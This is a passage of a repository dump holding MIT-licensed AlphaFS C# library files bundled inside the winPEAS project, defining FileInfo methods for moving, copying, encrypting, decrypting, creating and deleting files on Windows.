progressHandler, userProgressData, out destinationPathLp, pathFormat);\n\n         UpdateDestinationPath(destinationPath, destinationPathLp);\n\n         return cmr;\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/FileInfo Class/FileInfo CopyToMoveTo/FileInfo.CopyToMoveToCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   partial class FileInfo\n   {\n      /// <summary>Copy/move an existing file to a new file, allowing the overwriting of an existing file.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with the status of the Copy or Move action.</returns>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <param name=\"destinationPath\"><para>A full path string to the destination directory</para></param>\n      /// <param name=\"copyOptions\"><para>This parameter can be <c>null</c>. Use <see cref=\"CopyOptions\"/> to specify how the file is to be copied.</para></param>\n      /// <param name=\"moveOptions\"><para>This parameter can be <c>null</c>. Use <see cref=\"MoveOptions\"/> that specify how the file is to be moved.</para></param>\n      /// <param name=\"preserveDates\"><c>true</c> if original Timestamps must be preserved, <c>false</c> otherwise.</param>\n      /// <param name=\"progressHandler\"><para>This parameter can be <c>null</c>. A callback function that is called each time another portion of the file has been copied.</para></param>\n      /// <param name=\"userProgressData\"><para>This parameter can be <c>null</c>. The argument to be passed to the callback function.</para></param>\n      /// <param name=\"longFullPath\">[out] Returns the retrieved long full path.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      [SecurityCritical]\n      private CopyMoveResult CopyToMoveToCore(string destinationPath, CopyOptions? copyOptions, MoveOptions? moveOptions, bool preserveDates, CopyMoveProgressRoutine progressHandler, object userProgressData, out string longFullPath, PathFormat pathFormat)\n      {\n         longFullPath = Path.GetExtendedLengthPathCore(Transaction, destinationPath, pathFormat, GetFullPathOptions.TrimEnd | GetFullPathOptions.RemoveTrailingDirectorySeparator | GetFullPathOptions.FullCheck);\n\n         return File.CopyMoveCore(false, new CopyMoveArguments\n         {\n            Transaction = Transaction,\n            CopyOptions = preserveDates ? copyOptions | CopyOptions.CopyTimestamp : copyOptions & ~CopyOptions.CopyTimestamp,\n            MoveOptions = moveOptions,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData,\n            PathFormat = PathFormat.LongFullPath\n\n         }, false, false, LongFullName, longFullPath, null);\n      }\n\n\n      /// <summary>Refreshes the current <see cref=\"FileInfo\"/> instance with a new destination path.</summary>\n      private void UpdateDestinationPath(string destinationPath, string destinationPathLp)\n      {\n         _name = Path.GetFileName(destinationPathLp, true);\n\n         UpdateSourcePath(destinationPath, destinationPathLp);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/FileInfo Class/FileInfo CopyToMoveTo/FileInfo.MoveTo.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   partial class FileInfo\n   {\n      #region .NET\n\n      /// <summary>Moves a specified file to a new location, providing the option to specify a new file name.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Move action.</returns>\n      /// <remarks>\n      ///   <para>Use this method to prevent overwriting of an existing file by default.</para>\n      ///   <para>This method works across disk volumes.</para>\n      ///   <para>For example, the file c:\\MyFile.txt can be moved to d:\\public and renamed NewFile.txt.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"destinationPath\">The path to move the file to, which can specify a different file name.</param>\n      [SecurityCritical]\n      public void MoveTo(string destinationPath)\n      {\n         string destinationPathLp;\n\n         CopyToMoveToCore(destinationPath, null, MoveOptions.CopyAllowed, false, null, null, out destinationPathLp, PathFormat.RelativePath);\n\n         UpdateDestinationPath(destinationPath, destinationPathLp);\n      }\n\n      #endregion // .NET\n\n\n      /// <summary>[AlphaFS] Moves a specified file to a new location, providing the option to specify a new file name.</summary>\n      /// <returns>Returns a new <see cref=\"FileInfo\"/> instance with a fully qualified path when successfully moved.</returns>\n      /// <remarks>\n      ///   <para>Use this method to prevent overwriting of an existing file by default.</para>\n      ///   <para>This method works across disk volumes.</para>\n      ///   <para>For example, the file c:\\MyFile.txt can be moved to d:\\public and renamed NewFile.txt.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"destinationPath\">The path to move the file to, which can specify a different file name.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public FileInfo MoveTo(string destinationPath, PathFormat pathFormat)\n      {\n         string destinationPathLp;\n\n         CopyToMoveToCore(destinationPath, null, MoveOptions.CopyAllowed, false, null, null, out destinationPathLp, pathFormat);\n\n         UpdateDestinationPath(destinationPath, destinationPathLp);\n\n         return new FileInfo(Transaction, destinationPathLp, PathFormat.LongFullPath);\n      }\n      \n\n      /// <summary>[AlphaFS] Moves a specified file to a new location, providing the option to specify a new file name, <see cref=\"MoveOptions\"/> can be specified.</summary>\n      /// <returns>Returns a new <see cref=\"FileInfo\"/> instance with a fully qualified path when successfully moved.</returns>\n      /// <remarks>\n      ///   <para>Use this method to allow or prevent overwriting of an existing file.</para>\n      ///   <para>This method works across disk volumes.</para>\n      ///   <para>For example, the file c:\\MyFile.txt can be moved to d:\\public and renamed NewFile.txt.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"destinationPath\">The path to move the file to, which can specify a different file name.</param>\n      /// <param name=\"moveOptions\"><see cref=\"MoveOptions\"/> that specify how the directory is to be moved. This parameter can be <c>null</c>.</param>\n      [SecurityCritical]\n      public FileInfo MoveTo(string destinationPath, MoveOptions moveOptions)\n      {\n         string destinationPathLp;\n\n         CopyToMoveToCore(destinationPath, null, moveOptions, false, null, null, out destinationPathLp, PathFormat.RelativePath);\n\n         UpdateDestinationPath(destinationPath, destinationPathLp);\n\n         return null != destinationPathLp ? new FileInfo(Transaction, destinationPathLp, PathFormat.LongFullPath) : null;\n      }\n\n\n      /// <summary>[AlphaFS] Moves a specified file to a new location, providing the option to specify a new file name, <see cref=\"MoveOptions\"/> can be specified.</summary>\n      /// <returns>Returns a new <see cref=\"FileInfo\"/> instance with a fully qualified path when successfully moved.</returns>\n      /// <remarks>\n      ///   <para>Use this method to allow or prevent overwriting of an existing file.</para>\n      ///   <para>This method works across disk volumes.</para>\n      ///   <para>For example, the file c:\\MyFile.txt can be moved to d:\\public and renamed NewFile.txt.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"destinationPath\">The path to move the file to, which can specify a different file name.</param>\n      /// <param name=\"moveOptions\"><see cref=\"MoveOptions\"/> that specify how the directory is to be moved. This parameter can be <c>null</c>.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public FileInfo MoveTo(string destinationPath, MoveOptions moveOptions, PathFormat pathFormat)\n      {\n         string destinationPathLp;\n\n         CopyToMoveToCore(destinationPath, null, moveOptions, false, null, null, out destinationPathLp, pathFormat);\n\n         UpdateDestinationPath(destinationPath, destinationPathLp);\n\n         return null != destinationPathLp ? new FileInfo(Transaction, destinationPathLp, PathFormat.LongFullPath) : null;\n      }\n      \n\n      /// <summary>[AlphaFS] Moves a specified file to a new location, providing the option to specify a new file name, <see cref=\"MoveOptions\"/> can be specified,\n      /// and the possibility of notifying the application of its progress through a callback function.\n      /// </summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with the status of the Move action.</returns>\n      /// <remarks>\n      ///   <para>Use this method to allow or prevent overwriting of an existing file.</para>\n      ///   <para>This method works across disk volumes.</para>\n      ///   <para>For example, the file c:\\MyFile.txt can be moved to d:\\public and renamed NewFile.txt.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"destinationPath\">The path to move the file to, which can specify a different file name.</param>\n      /// <param name=\"moveOptions\"><see cref=\"MoveOptions\"/> that specify how the directory is to be moved. This parameter can be <c>null</c>.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the directory has been moved. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      [SecurityCritical]\n      public CopyMoveResult MoveTo(string destinationPath, MoveOptions moveOptions, CopyMoveProgressRoutine progressHandler, object userProgressData)\n      {\n         // Reject DelayUntilReboot.\n\n         if ((moveOptions & MoveOptions.DelayUntilReboot) != 0)\n\n            throw new ArgumentException(\"The DelayUntilReboot flag is invalid for this method.\", \"moveOptions\");\n\n\n         string destinationPathLp;\n\n         var cmr = CopyToMoveToCore(destinationPath, null, moveOptions, false, progressHandler, userProgressData, out destinationPathLp, PathFormat.RelativePath);\n\n         UpdateDestinationPath(destinationPath, destinationPathLp);\n\n         return cmr;\n      }\n\n\n      /// <summary>[AlphaFS] Moves a specified file to a new location, providing the option to specify a new file name, <see cref=\"MoveOptions\"/> can be specified.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with the status of the Move action.</returns>\n      /// <remarks>\n      ///   <para>Use this method to allow or prevent overwriting of an existing file.</para>\n      ///   <para>This method works across disk volumes.</para>\n      ///   <para>For example, the file c:\\MyFile.txt can be moved to d:\\public and renamed NewFile.txt.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"destinationPath\">The path to move the file to, which can specify a different file name.</param>\n      /// <param name=\"moveOptions\"><see cref=\"MoveOptions\"/> that specify how the directory is to be moved. This parameter can be <c>null</c>.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the directory has been moved. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public CopyMoveResult MoveTo(string destinationPath, MoveOptions moveOptions, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat)\n      {\n         // Reject DelayUntilReboot.\n\n         if ((moveOptions & MoveOptions.DelayUntilReboot) != 0)\n\n            throw new ArgumentException(\"The DelayUntilReboot flag is invalid for this method.\", \"moveOptions\");\n\n\n         string destinationPathLp;\n\n         var cmr = CopyToMoveToCore(destinationPath, null, moveOptions, false, progressHandler, userProgressData, out destinationPathLp, pathFormat);\n\n         UpdateDestinationPath(destinationPath, destinationPathLp);\n\n         return cmr;\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/FileInfo Class/FileInfo Encryption/FileInfo.Decrypt.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   partial class FileInfo\n   {\n      #region .NET\n\n      /// <summary>Decrypts a file that was encrypted by the current account using the Encrypt method.</summary>      \n      [SecurityCritical]\n      public void Decrypt()\n      {\n         File.EncryptDecryptFileCore(false, LongFullName, false, PathFormat.LongFullPath);\n      }\n\n      #endregion // .NET\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/FileInfo Class/FileInfo Encryption/FileInfo.Encrypt.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   partial class FileInfo\n   {\n      #region .NET\n\n      /// <summary>Encrypts a file so that only the account used to encrypt the file can decrypt it.</summary>      \n      [SecurityCritical]\n      public void Encrypt()\n      {\n         File.EncryptDecryptFileCore(false, LongFullName, true, PathFormat.LongFullPath);\n      }\n\n      #endregion // .NET\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/FileInfo Class/FileInfo.AppendText.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.IO;\nusing System.Security;\nusing System.Text;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   partial class FileInfo\n   {\n      #region .NET\n\n      /// <summary>Creates a <see cref=\"StreamWriter\"/> that appends text to the file represented by this instance of the <see cref=\"FileInfo\"/>.</summary>\n      /// <returns>A new <see cref=\"StreamWriter\"/></returns>\n      [SecurityCritical]\n      public StreamWriter AppendText()\n      {\n         return File.AppendTextCore(Transaction, LongFullName, NativeMethods.DefaultFileEncoding, PathFormat.LongFullPath);\n      }\n\n\n      /// <summary>Creates a <see cref=\"StreamWriter\"/> that appends text to the file represented by this instance of the <see cref=\"FileInfo\"/>.</summary>\n      /// <param name=\"encoding\">The character <see cref=\"Encoding\"/> to use.</param>\n      /// <returns>A new <see cref=\"StreamWriter\"/></returns>\n      [SecurityCritical]\n      public StreamWriter AppendText(Encoding encoding)\n      {\n         return File.AppendTextCore(Transaction, LongFullName, encoding, PathFormat.LongFullPath);\n      }\n\n      #endregion // .NET\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/FileInfo Class/FileInfo.Create.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   partial class FileInfo\n   {\n      #region .NET\n\n      /// <summary>Creates a file.</summary>\n      /// <returns><see cref=\"FileStream\"/>A new file.</returns>\n      [SecurityCritical]\n      public FileStream Create()\n      {\n         return File.CreateFileStreamCore(Transaction, LongFullName, ExtendedFileAttributes.Normal, null, FileMode.Create, FileAccess.ReadWrite, FileShare.None, NativeMethods.DefaultFileBufferSize, PathFormat.LongFullPath);\n      }\n\n      #endregion // .NET\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/FileInfo Class/FileInfo.CreateText.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Diagnostics.CodeAnalysis;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   partial class FileInfo\n   {\n      #region .NET\n\n      /// <summary>Creates a <see crefe=\"StreamWriter\"/> instance that writes a new text file.</summary>\n      /// <returns>A new <see cref=\"StreamWriter\"/></returns>\n      [SuppressMessage(\"Microsoft.Reliability\", \"CA2000:Dispose objects before losing scope\")]\n      [SecurityCritical]\n      public StreamWriter CreateText()\n      {\n         return new StreamWriter(File.CreateFileStreamCore(Transaction, LongFullName, ExtendedFileAttributes.Normal, null, FileMode.Create, FileAccess.ReadWrite, FileShare.None, NativeMethods.DefaultFileBufferSize, PathFormat.LongFullPath), NativeMethods.DefaultFileEncoding);\n      }\n\n      #endregion // .NET\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/FileInfo Class/FileInfo.Delete.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.IO;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   partial class FileInfo\n   {\n      #region .NET\n\n      /// <summary>Permanently deletes a file.</summary>\n      /// <remarks>If the file does not exist, this method does nothing.</remarks>\n      /// <exception cref=\"IOException\"/>\n      public override void Delete()\n      {\n         File.DeleteFileCore(Transaction, LongFullName, false, Attributes, PathFormat.LongFullPath);\n      }\n\n      #endregion // .NET\n\n\n      /// <summary>[AlphaFS] Permanently deletes a file.</summary>\n      /// <remarks>If the file does not exist, this method does nothing.</remarks>\n      /// <exception cref=\"IOException\"/>\n      /// <param name=\"ignoreReadOnly\"><c>true</c> overrides the read only <see cref=\"FileAttributes\"/> of the file.</param>      \n      public void Delete(bool ignoreReadOnly)\n      {\n         File.DeleteFileCore(Transaction, LongFullName, ignoreReadOnly, Attributes, PathFormat.LongFullPath);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/FileInfo Class/FileInfo.EnumerateAlternateDataStreams.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF 